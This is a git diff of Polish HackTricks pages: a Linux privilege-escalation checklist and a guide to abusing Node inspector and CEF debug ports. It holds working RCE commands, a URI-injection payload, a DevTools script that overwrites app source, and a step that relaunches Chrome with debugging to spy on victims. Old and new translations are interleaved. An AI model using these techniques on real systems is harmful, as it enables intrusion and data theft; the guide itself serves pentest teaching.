* [ ] [**Binarny SUID z określoną ścieżką**](privilege-escalation/#suid-binary-with-command-path)? Ominięcie
|
||||
* [ ] [**Usterka LD\_PRELOAD**](privilege-escalation/#ld\_preload)
|
||||
* [ ] [**Brak biblioteki .so w binarnym SUID**](privilege-escalation/#suid-binary-so-injection) z folderu z uprawnieniami do zapisu?
|
||||
* [ ] [**Dostępne tokeny SUDO**](privilege-escalation/#reusing-sudo-tokens)? [**Czy możesz utworzyć token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
* [ ] Czy możesz [**odczytać lub modyfikować pliki sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
* Czy możesz [**modyfikować /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
|
||||
* [**OpenBSD DOAS**](privilege-escalation/#doas) command
|
||||
* [ ] Czy możesz wykonać **jakąkolwiek komendę z sudo**? Czy możesz użyć tego do ODCZYTU, ZAPISU lub WYKONANIA czegokolwiek jako root? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] Czy jest jakiś **eksploatowalny plik binarny SUID**? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] Czy [**komendy sudo** są **ograniczone** przez **ścieżkę**? czy możesz **obejść** te ograniczenia](privilege-escalation/#sudo-execution-bypassing-paths)?
|
||||
* [ ] [**Sudo/SUID binarny bez wskazanej ścieżki**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
|
||||
* [ ] [**SUID binarny z określoną ścieżką**](privilege-escalation/#suid-binary-with-command-path)? Obejście
|
||||
* [ ] [**Vuln LD\_PRELOAD**](privilege-escalation/#ld\_preload)
|
||||
* [ ] [**Brak biblioteki .so w binarnym SUID**](privilege-escalation/#suid-binary-so-injection) z zapisywalnego folderu?
|
||||
* [ ] [**Dostępne tokeny SUDO**](privilege-escalation/#reusing-sudo-tokens)? [**Czy możesz stworzyć token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
* [ ] Czy możesz [**czytać lub modyfikować pliki sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
* [ ] Czy możesz [**zmodyfikować /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
|
||||
* [ ] [**Polecenie OpenBSD DOAS**](privilege-escalation/#doas)
|
||||
|
||||
### [Uprawnienia](privilege-escalation/#capabilities)
|
||||
|
||||
* [ ] Czy którykolwiek plik ma **nieoczekiwane uprawnienia**?
|
||||
* [ ] Czy jakaś binarka ma jakąś **nieoczekiwaną zdolność**?
|
||||
|
||||
### [Kontrola dostępu ACL](privilege-escalation/#acls)
|
||||
### [ACL](privilege-escalation/#acls)
|
||||
|
||||
* [ ] Czy którykolwiek plik ma **nieoczekiwane ACL**?
|
||||
* [ ] Czy jakiś plik ma jakąś **nieoczekiwaną ACL**?
|
||||
|
||||
### [Otwarte sesje powłoki](privilege-escalation/#open-shell-sessions)
|
||||
|
||||
|
@ -141,56 +143,57 @@ Bądź na bieżąco z najnowszymi programami nagród za błędy i istotnymi aktu
|
|||
|
||||
### [Interesujące pliki](privilege-escalation/#interesting-files)
|
||||
|
||||
* [ ] **Pliki profilowe** - Czytanie poufnych danych? Zapis do eskalacji uprawnień?
|
||||
* [ ] Pliki **passwd/shadow** - Czytanie poufnych danych? Zapis do eskalacji uprawnień?
|
||||
* [ ] Sprawdź powszechnie interesujące foldery pod kątem poufnych danych
|
||||
* [ ] **Dziwne lokalizacje/Pliki własnościowe**, do których możesz mieć dostęp lub zmieniać pliki wykonywalne
|
||||
* [ ] **Pliki profilu** - Czytaj wrażliwe dane? Zapisz do privesc?
|
||||
* [ ] **Pliki passwd/shadow** - Czytaj wrażliwe dane? Zapisz do privesc?
|
||||
* [ ] **Sprawdź powszechnie interesujące foldery** pod kątem wrażliwych danych
|
||||
* [ ] **Dziwne lokalizacje/Pliki własnościowe,** do których możesz mieć dostęp lub zmieniać pliki wykonywalne
|
||||
* [ ] **Zmodyfikowane** w ostatnich minutach
|
||||
* [ ] Pliki bazy danych **Sqlite**
|
||||
* [ ] **Pliki bazy danych Sqlite**
|
||||
* [ ] **Ukryte pliki**
|
||||
* [ ] **Skrypty/Binaria w PATH**
|
||||
* [ ] **Pliki internetowe** (hasła?)
|
||||
* [ ] **Skrypty/Binarki w PATH**
|
||||
* [ ] **Pliki webowe** (hasła?)
|
||||
* [ ] **Kopie zapasowe**?
|
||||
* [ ] **Znane pliki zawierające hasła**: Użyj **Linpeas** i **LaZagne**
|
||||
* [ ] **Znane pliki, które zawierają hasła**: Użyj **Linpeas** i **LaZagne**
|
||||
* [ ] **Ogólne wyszukiwanie**
|
||||
|
||||
### [**Pliki z możliwością zapisu**](privilege-escalation/#writable-files)
|
||||
### [**Zapisywalne pliki**](privilege-escalation/#writable-files)
|
||||
|
||||
* [ ] Czy można **zmodyfikować bibliotekę pythona** w celu wykonania dowolnych poleceń?
|
||||
* [ ] Czy można **zmodyfikować pliki dziennika**? Exploit **Logtotten**
|
||||
* [ ] Czy można **zmodyfikować /etc/sysconfig/network-scripts/**? Exploit Centos/Redhat
|
||||
* [ ] Czy można [**pisać w plikach ini, int.d, systemd lub rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
|
||||
* [ ] **Modyfikuj bibliotekę Pythona** aby wykonywać dowolne komendy?
|
||||
* [ ] Czy możesz **modyfikować pliki dziennika**? **Eksploit Logtotten**
|
||||
* [ ] Czy możesz **modyfikować /etc/sysconfig/network-scripts/**? Eksploit Centos/Redhat
|
||||
* [ ] Czy możesz [**zapisać w plikach ini, int.d, systemd lub rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
|
||||
|
||||
### [**Inne sztuczki**](privilege-escalation/#other-tricks)
|
||||
### [**Inne triki**](privilege-escalation/#other-tricks)
|
||||
|
||||
* [ ] Czy można [**wykorzystać NFS do eskalacji uprawnień**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [ ] Czy potrzebujesz [**uciec z ograniczonej powłoki**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||
* [ ] Czy możesz [**wykorzystać NFS do eskalacji uprawnień**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [ ] Czy musisz [**uciec z restrykcyjnej powłoki**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||
|
||||
**Spostrzeżenia dotyczące hakerstwa**\
|
||||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
|
||||
**Wgląd w hacking**\
|
||||
Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem
|
||||
|
||||
**Aktualności na żywo dotyczące hakerstwa**\
|
||||
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spostrzeżeniom na żywo
|
||||
**Aktualności o hackingu w czasie rzeczywistym**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
|
||||
|
||||
**Najnowsze ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami nagród za błędy i istotnymi aktualizacjami platformy
|
||||
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
|
||||
|
||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# Nadużycie debugowania Node inspector/CEF
|
||||
# Node inspector/CEF debug abuse
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
[Z dokumentacji](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Gdy uruchomiono z przełącznikiem `--inspect`, proces Node.js nasłuchuje na klienta debugowania. Domyślnie będzie nasłuchiwał na hoście i porcie **`127.0.0.1:9229`**. Każdy proces otrzymuje również **unikalne** **UUID**.
|
||||
|
||||
Klienci inspektora muszą znać i określić adres hosta, port oraz UUID, aby się połączyć. Pełny adres URL będzie wyglądał mniej więcej tak: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ponieważ **debugger ma pełny dostęp do środowiska wykonawczego Node.js**, złośliwy podmiot zdolny do połączenia się z tym portem może wykonać dowolny kod w imieniu procesu Node.js (**potencjalne eskalowanie uprawnień**).
|
||||
{% endhint %}
|
||||
|
||||
Istnieje kilka sposobów uruchomienia inspektora:
|
||||
## Basic Information
|
||||
|
||||
[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Gdy uruchomiony z przełącznikiem `--inspect`, proces Node.js nasłuchuje na klienta debugowania. Domyślnie nasłuchuje na hoście i porcie **`127.0.0.1:9229`**. Każdemu procesowi przypisany jest również **unikalny** **UUID**.
|
||||
|
||||
Klienci inspektora muszą znać i określić adres hosta, port i UUID, aby się połączyć. Pełny adres URL będzie wyglądał mniej więcej tak: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ponieważ **debugger ma pełny dostęp do środowiska wykonawczego Node.js**, złośliwy aktor, który może połączyć się z tym portem, może być w stanie wykonać dowolny kod w imieniu procesu Node.js (**potencjalne podniesienie uprawnień**).
|
||||
{% endhint %}
|
||||
|
||||
Istnieje kilka sposobów na uruchomienie inspektora:
|
||||
```bash
|
||||
node --inspect app.js #Will run the inspector in port 9229
|
||||
node --inspect=4444 app.js #Will run the inspector in port 4444
|
||||
|
@ -35,50 +36,50 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
|
|||
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
|
||||
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
|
||||
```
|
||||
Kiedy uruchomisz proces poddany inspekcji, pojawi się coś w tym stylu:
|
||||
Kiedy uruchomisz proces do inspekcji, coś takiego się pojawi:
|
||||
```
|
||||
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
For help, see: https://nodejs.org/en/docs/inspector
|
||||
```
|
||||
Procesy oparte na **CEF** (**Chromium Embedded Framework**) muszą użyć parametru: `--remote-debugging-port=9222` aby otworzyć **debugger** (zabezpieczenia SSRF pozostają bardzo podobne). Jednakże zamiast udzielać sesji **debugowania** **NodeJS**, będą komunikować się z przeglądarką za pomocą [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), jest to interfejs do kontrolowania przeglądarki, ale nie ma bezpośredniego RCE.
|
||||
Procesy oparte na **CEF** (**Chromium Embedded Framework**) muszą używać parametru: `--remote-debugging-port=9222`, aby otworzyć **debugger** (ochrony SSRF pozostają bardzo podobne). Jednak **zamiast** przyznawania sesji **debug** **NodeJS**, będą komunikować się z przeglądarką za pomocą [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), jest to interfejs do kontrolowania przeglądarki, ale nie ma bezpośredniego RCE.
|
||||
|
||||
Gdy uruchomisz przeglądarkę w trybie debugowania, pojawi się coś w rodzaju tego:
|
||||
Kiedy uruchomisz debugowaną przeglądarkę, coś takiego się pojawi:
|
||||
```
|
||||
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
|
||||
```
|
||||
### Przeglądarki, WebSockets i polityka tego samego pochodzenia <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
|
||||
### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
|
||||
|
||||
Strony internetowe otwarte w przeglądarce internetowej mogą wykonywać żądania WebSocket i HTTP zgodnie z modelem bezpieczeństwa przeglądarki. **Początkowe połączenie HTTP** jest konieczne do **uzyskania unikalnego identyfikatora sesji debugera**. **Polityka tego samego pochodzenia** **zapobiega** stronom internetowym możliwości **nawiązania tego połączenia HTTP**. Dla dodatkowego zabezpieczenia przed [**atakami DNS rebinding**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js sprawdza, czy nagłówki **'Host'** dla połączenia precyzyjnie określają **adres IP** lub **`localhost`** lub **`localhost6`**.
|
||||
Strony internetowe otwarte w przeglądarce mogą wysyłać żądania WebSocket i HTTP zgodnie z modelem bezpieczeństwa przeglądarki. **Początkowe połączenie HTTP** jest konieczne do **uzyskania unikalnego identyfikatora sesji debuggera**. **Polityka same-origin** **zapobiega** stronom internetowym w nawiązywaniu **tego połączenia HTTP**. Dla dodatkowego bezpieczeństwa przed [**atakami DNS rebinding**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js weryfikuje, że **nagłówki 'Host'** dla połączenia albo określają **adres IP**, albo **`localhost`**, albo **`localhost6`** dokładnie.
|
||||
|
||||
{% hint style="info" %}
|
||||
Te **środki bezpieczeństwa zapobiegają wykorzystaniu inspektora** do uruchamiania kodu poprzez **wysłanie żądania HTTP** (co mogłoby zostać zrobione poprzez wykorzystanie podatności SSRF).
|
||||
Te **środki bezpieczeństwa zapobiegają wykorzystaniu inspektora** do uruchamiania kodu poprzez **wysłanie żądania HTTP** (co mogłoby być zrealizowane poprzez wykorzystanie luki SSRF).
|
||||
{% endhint %}
|
||||
|
||||
### Uruchamianie inspektora w działających procesach
|
||||
### Starting inspector in running processes
|
||||
|
||||
Możesz wysłać **sygnał SIGUSR1** do działającego procesu nodejs, aby ten **uruchomił inspektora** na domyślnym porcie. Należy jednak pamiętać, że wymagane są odpowiednie uprawnienia, co może dać dostęp do **przywilejów do informacji wewnątrz procesu**, ale nie spowoduje bezpośredniego eskalowania uprawnień.
|
||||
Możesz wysłać **sygnał SIGUSR1** do działającego procesu nodejs, aby **uruchomić inspektora** na domyślnym porcie. Należy jednak pamiętać, że musisz mieć wystarczające uprawnienia, więc może to dać ci **uprzywilejowany dostęp do informacji wewnątrz procesu**, ale nie bezpośrednią eskalację uprawnień.
|
||||
```bash
|
||||
kill -s SIGUSR1 <nodejs-ps>
|
||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
```
|
||||
{% hint style="info" %}
|
||||
To jest przydatne w kontenerach, ponieważ **zatrzymanie procesu i uruchomienie nowego** z `--inspect` nie jest opcją, ponieważ **kontener** zostanie **zabity** wraz z procesem.
|
||||
To przydatne w kontenerach, ponieważ **zamknięcie procesu i uruchomienie nowego** z `--inspect` **nie jest opcją**, ponieważ **kontener** zostanie **zabity** razem z procesem.
|
||||
{% endhint %}
|
||||
|
||||
### Połączenie z inspektorem/debugerem
|
||||
### Połączenie z inspektorem/debuggerem
|
||||
|
||||
Aby połączyć się z przeglądarką opartą na **Chromium**, można uzyskać dostęp do adresów URL `chrome://inspect` lub `edge://inspect` dla przeglądarek Chrome lub Edge, odpowiednio. Klikając przycisk Konfiguruj, należy upewnić się, że **docelowy host i port** są poprawnie wymienione. Na obrazku przedstawiono przykład zdalnego wykonania kodu (RCE):
|
||||
Aby połączyć się z **przeglądarką opartą na Chromium**, można uzyskać dostęp do adresów URL `chrome://inspect` lub `edge://inspect` dla Chrome lub Edge, odpowiednio. Klikając przycisk Konfiguruj, należy upewnić się, że **docelowy host i port** są poprawnie wymienione. Obrazek pokazuje przykład zdalnego wykonania kodu (RCE):
|
||||
|
||||
![](<../../.gitbook/assets/image (674).png>)
|
||||
|
||||
Korzystając z **wiersza poleceń**, można połączyć się z debugerem/inspektorem za pomocą:
|
||||
Używając **wiersza poleceń**, możesz połączyć się z debuggerem/inspektorem za pomocą:
|
||||
```bash
|
||||
node inspect <ip>:<port>
|
||||
node inspect 127.0.0.1:9229
|
||||
# RCE example from debug console
|
||||
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
|
||||
```
|
||||
Narzędzie [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) pozwala **znaleźć inspektory** działające lokalnie i **wstrzyknąć kod** do nich.
|
||||
Narzędzie [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) pozwala na **znalezienie inspektorów** działających lokalnie i **wstrzyknięcie kodu** do nich.
|
||||
```bash
|
||||
#List possible vulnerable sockets
|
||||
./cefdebug.exe
|
||||
|
@ -88,40 +89,42 @@ Narzędzie [**https://github.com/taviso/cefdebug**](https://github.com/taviso/ce
|
|||
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Należy pamiętać, że **eksploity RCE NodeJS nie zadziałają**, jeśli połączysz się z przeglądarką za pomocą [**protokołu Chrome DevTools**](https://chromedevtools.github.io/devtools-protocol/) (musisz sprawdzić interfejs API, aby znaleźć interesujące rzeczy do zrobienia).
|
||||
Zauważ, że **eksploity RCE w NodeJS nie będą działać**, jeśli są połączone z przeglądarką za pomocą [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (musisz sprawdzić API, aby znaleźć interesujące rzeczy do zrobienia z tym).
|
||||
{% endhint %}
|
||||
|
||||
## RCE w NodeJS Debugger/Inspector
|
||||
## RCE w Debuggerze/Inspektorze NodeJS
|
||||
|
||||
{% hint style="info" %}
|
||||
Jeśli tu trafiłeś, szukając informacji, jak uzyskać **RCE z XSS w Electron, sprawdź tę stronę.**
|
||||
Jeśli przyszedłeś tutaj, szukając jak uzyskać [**RCE z XSS w Electron, sprawdź tę stronę.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endhint %}
|
||||
|
||||
Niektóre powszechne sposoby uzyskania **RCE**, gdy możesz **połączyć** się z inspektorem Node, to korzystanie z czegoś takiego (wygląda na to, że to **nie zadziała w połączeniu z protokołem Chrome DevTools**):
|
||||
Niektóre powszechne sposoby uzyskania **RCE**, gdy możesz **połączyć** się z **inspektorem** Node, to użycie czegoś takiego (wygląda na to, że **to nie zadziała w połączeniu z protokołem Chrome DevTools**):
|
||||
```javascript
|
||||
process.mainModule.require('child_process').exec('calc')
|
||||
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
|
||||
require('child_process').spawnSync('calc.exe')
|
||||
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
|
||||
```
|
||||
## Dane wejściowe protokołu Chrome DevTools
|
||||
## Chrome DevTools Protocol Payloads
|
||||
|
||||
Możesz sprawdzić API tutaj: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
|
||||
W tej sekcji wymienię interesujące rzeczy, które ludzie wykorzystali do atakowania tego protokołu.
|
||||
W tej sekcji po prostu wymienię interesujące rzeczy, które znalazłem, a które ludzie wykorzystali do eksploatacji tego protokołu.
|
||||
|
||||
### Wstrzykiwanie parametrów za pomocą głębokich linków
|
||||
|
||||
W [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino Security odkryło, że aplikacja oparta na CEF zarejestrowała niestandardowy adres URI w systemie (workspaces://), który otrzymywał pełny adres URI, a następnie uruchamiał aplikację opartą na CEF z konfiguracją częściowo tworzoną z tego adresu URI.
|
||||
W [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) firma Rhino Security odkryła, że aplikacja oparta na CEF **zarejestrowała niestandardowy URI** w systemie (workspaces://), który odbierał pełny URI, a następnie **uruchamiał aplikację opartą na CEF** z konfiguracją, która była częściowo konstruowana z tego URI.
|
||||
|
||||
Odkryto, że parametry URI były dekodowane z adresu URL i używane do uruchamiania podstawowej aplikacji CEF, umożliwiając użytkownikowi **wstrzyknięcie** flagi **`--gpu-launcher`** w **wierszu poleceń** i wykonanie dowolnych poleceń.
|
||||
Odkryto, że parametry URI były dekodowane URL i używane do uruchomienia podstawowej aplikacji CEF, co pozwalało użytkownikowi **wstrzyknąć** flagę **`--gpu-launcher`** w **wierszu poleceń** i wykonywać dowolne rzeczy.
|
||||
|
||||
Więc, taki ładunek jak:
|
||||
Więc, ładunek taki jak:
|
||||
```
|
||||
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
|
||||
```
|
||||
### Nadpisz pliki
|
||||
Wykona calc.exe.
|
||||
|
||||
Zmień folder, do którego **zapisywane są pobrane pliki**, i pobierz plik, aby **nadpisać** często używany **kod źródłowy** aplikacji swoim **złośliwym kodem**.
|
||||
### Nadpisywanie plików
|
||||
|
||||
Zmień folder, w którym **pobrane pliki będą zapisywane** i pobierz plik, aby **nadpisać** często używany **kod źródłowy** aplikacji swoim **złośliwym kodem**.
|
||||
```javascript
|
||||
ws = new WebSocket(url); //URL of the chrome devtools service
|
||||
ws.send(JSON.stringify({
|
||||
|
@ -133,19 +136,19 @@ downloadPath: '/code/'
|
|||
}
|
||||
}));
|
||||
```
|
||||
### Wywołanie zdalnego kodu (RCE) i eksfiltracja za pomocą Webdriver
|
||||
### Webdriver RCE i eksfiltracja
|
||||
|
||||
Zgodnie z tym postem: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) istnieje możliwość uzyskania RCE i eksfiltracji wewnętrznych stron za pomocą Webdriver.
|
||||
Zgodnie z tym postem: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) możliwe jest uzyskanie RCE i eksfiltracja wewnętrznych stron z theriver.
|
||||
|
||||
### Po wykorzystaniu podatności
|
||||
### Po eksploatacji
|
||||
|
||||
W rzeczywistym środowisku i **po skompromitowaniu** komputera użytkownika korzystającego z przeglądarki opartej na Chrome/Chromium, można uruchomić proces Chrome z aktywowanym debugowaniem i przekierować port debugowania, aby uzyskać do niego dostęp. W ten sposób będzie można **sprawdzić wszystko, co ofiara robi z Chrome, oraz ukraść wrażliwe informacje**.
|
||||
W rzeczywistym środowisku i **po skompromitowaniu** komputera użytkownika, który używa przeglądarki opartej na Chrome/Chromium, możesz uruchomić proces Chrome z **włączonym debugowaniem i przekierować port debugowania**, aby uzyskać do niego dostęp. W ten sposób będziesz mógł **inspekcjonować wszystko, co ofiara robi w Chrome i kraść wrażliwe informacje**.
|
||||
|
||||
Sposobem na zachowanie dyskrecji jest **zakończenie każdego procesu Chrome** i następnie wywołanie czegoś w stylu
|
||||
Sposobem na zachowanie dyskrecji jest **zakończenie każdego procesu Chrome** i następnie wywołanie czegoś takiego jak
|
||||
```bash
|
||||
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
|
||||
```
|
||||
## Odnośniki
|
||||
## References
|
||||
|
||||
* [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s)
|
||||
* [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug)
|
||||
|
@ -158,16 +161,17 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
|
|||
* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)
|
||||
* [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zdobądź wiedzę na temat hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
